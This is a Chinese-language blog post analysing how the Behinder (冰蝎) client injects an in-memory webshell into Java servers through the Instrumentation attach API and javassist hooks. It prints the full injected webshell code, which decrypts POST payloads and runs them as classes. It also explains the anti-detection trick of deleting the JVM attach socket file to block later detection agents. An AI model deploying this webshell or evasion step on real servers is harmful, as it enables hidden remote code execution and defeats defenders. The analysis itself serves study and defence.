冰蝎客户端在4月份的更新中增加了内存webshell注入,原理与之前的其他内存马注入机制不同,后续版本又增加了内存马防检测功能开关,本文从代码入手,详细探究冰蝎内存webshell注入方式和防检测的原理。界面如图:
一、定位代码
冰蝎客户端有图形界面,我们从图形界面入手,定位代码,观察一下目录结构:
net.rebeyond.behinder.ui.controller.MainController
很明显可以看到是主窗口的路由,查看structure窗口或者ctrl+F12可以看到函数列表,有一个injectMemShell()
方法,从这里开始入手。
二、代码分析
net.rebeyond.behinder.ui.controller.MainController#injectMemShell
多线程部分不管,最开始部分是获取选中shell的系统信息,首先从本地数据库取,取不到则发送baseinfo到webshell,去获取版本信息(直接连接冰蝎的webshell默认也是发送baseinfo这个payload获取基础信息)。
获取到版本信息后,拼接一个临时目录,用来存放被注入的jar包:,linux是/tmp/{随机字符}
windows是c:/windows/temp/{随机字符}。
下面就是注入的关键步骤,调用了三个函数:
根据不同的操作系统,获取不同的jar包,这里的系统版本号可以从net.rebeyond.behinder.core.Constants
中获取
查看对应的resource目录,发现了被注入的4个jar包:
我们之间把tools_0.jar解压出来,先丢进项目,方便需要的时候看代码。继续回到三个关键函数,uploadFIle()直接把恶意jar包上传到目标机器上的指定路径,然后调用loader进行加载。
红框中的部分是冰蝎客户端典型的和webshell交互的写法,参数放入一个Map,对应payload类的成员变量,然后获取
net.rebeyond.behinder.payload.java
里名字是Loader的class字节码,通过asm修改class的字节码,依次把Map中的值赋值给payload的中对应的成员变量,发送给webshell,webshell会执行payload中的equal方法,执行后返回结果。
net.rebeyond.behinder.payload.java.Loader
这里直接到net.rebeyond.behinder.payload.java.Loader
,也就是发送的payload部分:
payload的发送前,已经把libPath初始化好,值是前面说的jar包路径。
用libPath初始化一个URL对象,调用URLCLassLoader.addURL()方法,把这个lib路径添加到搜索路径中,类似添加到环境变量,jvm通过文件名搜索到这个路径下的文件。
接下来调用injectMemShell(),函数的几个参数对应着在进行注入时图形界面上一些选择的结果,type是类型,只有agent,path是用来访问内存马的url,isAntiAgent是是否启用防检测。
shellService.injectMemShell(type, libPath, path, Utils.getKey(shellEntity.getString("password")), isAntiAgent);
继续跟进代码net.rebeyond.behinder.core.ShellService#injectMemShell
:
这里同上,对每个成员变量进行赋值,发给webshell,到受害者机器上执行,直接来看MemShell。
net.rebeyond.behinder.payload.java.MemShell
这部分代码在执行的时候,已经是在受害者机器,由冰蝎webshell加载执行,程序入口是equals()函数:
首先把属性jdk.attach.allowAttachSelf
属性设置为true(作用是?),然后调用fillContext()方法,这个方法是用来初始化类的成员变量Request,Response和Session,因为在内存webshell不像jsp文件有全局变量,可以直接获取到这些属性,需要从context中获取。
后面的分支可以看到,目前冰蝎只支持了agent,同时保留了filter和servlet两种类型的接口,后续可能会更新。agent类型的关键函数是doAgentShell(),参数是最开始传入的是否启动防检测。看代码:
用反射调用了两个函数:
com.sun.tools.attach.VirtualMachine#attach(pid)
com.sun.tools.attach.VirtualMachine#loadAgent(libpath, "path|password")
这两个是java Instrumentation机制进行jar包加载的标准流程,attach到指定的pid,这里获取的就是当前java进程的pid,然后把指定的jar包load到这个JVM进程中。加载完成后,会JVM自动执行jar包里面的agentmain
方法,并且把loadAgent的第二个参数所有内容传入,作为agentmain方法的参数。
三、恶意Jar包分析
直接在jar包中搜索agentmain方法,找到net.rebeyond.behinder.payload.java.MemShell
类,实际上与客户端中的MemShell代码相同。直接看agentmain()方法
前面一大段代码初始化了几个变量:
- classes 全部已加载的类
- targetClasses 存放了不同java版本和中间件的request和response的类名
- shellCode 内存版冰蝎webshell代码
关键部分是另一半:
遍历已经加载的类,找到targetClasses中存放的类名。
从传入的参数中取出要绑定的url和password,对shellCode进行格式化,并根据发现已加载的类名,修改shellCode中import的类名。
后面的一系列代码是用javaassist把shellCode的代码插入到ServletRequest#service
和ServletResponse#service
,weblogic是execute
方法之前,这样所有的http请求都会先经过恶意代码的判断,如果是指定url的连接,则会由恶意代码处理。这样就完成了hook操作。
四、shellCode分析
源码:
javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern="%s";
if (request.getRequestURI().matches(pathPattern))
{
java.util.Map obj=new java.util.HashMap();
obj.put("request",request);
obj.put("response",response);
obj.put("session",session);
ClassLoader loader=this.getClass().getClassLoader();
if (request.getMethod().equals("POST"))
{
try
{
String k="%s";
session.putValue("u",k);
java.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();
Class cipherCls=systemLoader.loadClass("javax.crypto.Cipher");
Object c=cipherCls.getDeclaredMethod("getInstance",new Class[]{String.class}).invoke((java.lang.Object)cipherCls,new Object[]{"AES"});
Object keyObj=systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[]{k.getBytes(),"AES"});;
java.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod("init",new Class[]{int.class,systemLoader.loadClass("java.security.Key")});
initMethod.invoke(c,new Object[]{new Integer(2),keyObj});
java.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod("doFinal",new Class[]{byte[].class});
byte[] requestBody=null;
try {
Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
requestBody=(byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
} catch (Exception ex)
{
Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder",new Class[0]).invoke(null, new Object[0]);
requestBody=(byte[])Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
}
byte[] buf=(byte[])doFinalMethod.invoke(c,new Object[]{requestBody});
java.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});
defineMethod.setAccessible(true);
java.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
java.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});
java.lang.Class c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(buf),null});
c.newInstance().equals(obj);
}
catch(java.lang.Exception e)
{
e.printStackTrace();
}
catch(java.lang.Error error)
{
error.printStackTrace();
}
return;
}
}
这部分代码比较简单,实际上就是实现了冰蝎webshell的功能,代码这么长主要是因为在内存中无法直接获取很多类和方法需要调用反射获取,不同的地方就是只有访问的url中包含传入的pathPattern时,才会执行。
五、防检测分析
到这里整个流程分析下来,涉及到antiAgent
这个参数的只有net.rebeyond.behinder.payload.java.MemShell#doAgentShell
方法中有使用,主要是下面这部分代码
if (osInfo.indexOf("windows") < 0 && osInfo.indexOf("winnt") < 0 && osInfo.indexOf("linux") >= 0 && antiAgent) {
String fileName = "/tmp/.java_pid" + getCurrentPID();
(new File(fileName)).delete();
}
这个代码也很简单,判断如果是linux系统,并且注入内存马时选择了防检测选项,就会删除/tmp/.java_pid{pid}
这个文件,最开始分析的时候以为是这个文件是辅助jar包进行注入的临时文件,注入成功后删除。但是仔细思考一下loadAgent传入的参数只有一个,是内存马访问的url和password组成的一个字符串:
loadAgentMethod.invoke(obj, libPath, base64encode(path) + "|" + base64encode(password));
也就是并没有把是否启用防检测参数传给jar包,那么jar包就无法判断是不是要启动防检测,因此不可能是jar包来完成这个功能。只能是在这个MemShell
里面完成,那就只能是删除文件这一行代码完成的。
我们来尝试看一下这个文件是什么:
- 首先重启tomcat,清除掉之前注入的内存马
- 查看/tmp目录发现并没有这个文件,
- 注入普通内存马,不勾选防注入选项,再次查看/tmp目录,发现出现了一个名为
.java_pid187116
的文件,用file命令查看发现是一个socket文件 - 查询tomcat的相关信息,发现有一个socket连接指向这个文件。
- 直接把这个文件删除,使用冰蝎再次注入,报错注入失败
因此可以得出结论,删除这个socket文件,在服务重启之前,后续其他的jar包都无法注入。但是在注入之前已经被注入的jar包仍然可以正常运行。
这种现场的原因涉及到JVM的原理和JVM在attach时进程间的通信,本文暂不讨论。
六、结论
冰蝎采用Instrumentation + javaassist 对http相关类进行hook的方法,实现内存webshell,优点:无新类加载,兼容性好。缺点:需要上传一个jar包,动作偏大。
利用Instrumentation底层进程间通信在linux上依赖一个socket文件的特点,通过删除对应的socket文件来阻止后续的检测jar包注入,达到防检测的目的。
从最开始的Godzilla客户端的注入内存webshell功能,到现在冰蝎hook注入,内存webshell攻防对抗已经开始激烈起来,最初Godzilla使用的是添加servlet,rebeyond使用的是添加filter,然后出现了一些使用注入jar包检测新加载class进而检测内存马的项目,到冰蝎不加载新class,而是使用注入jar包hook方法实现内存webshell,且开始尝试防止其他jar注入,加载的class的包名混淆绕过检测等等。
攻与防的艺术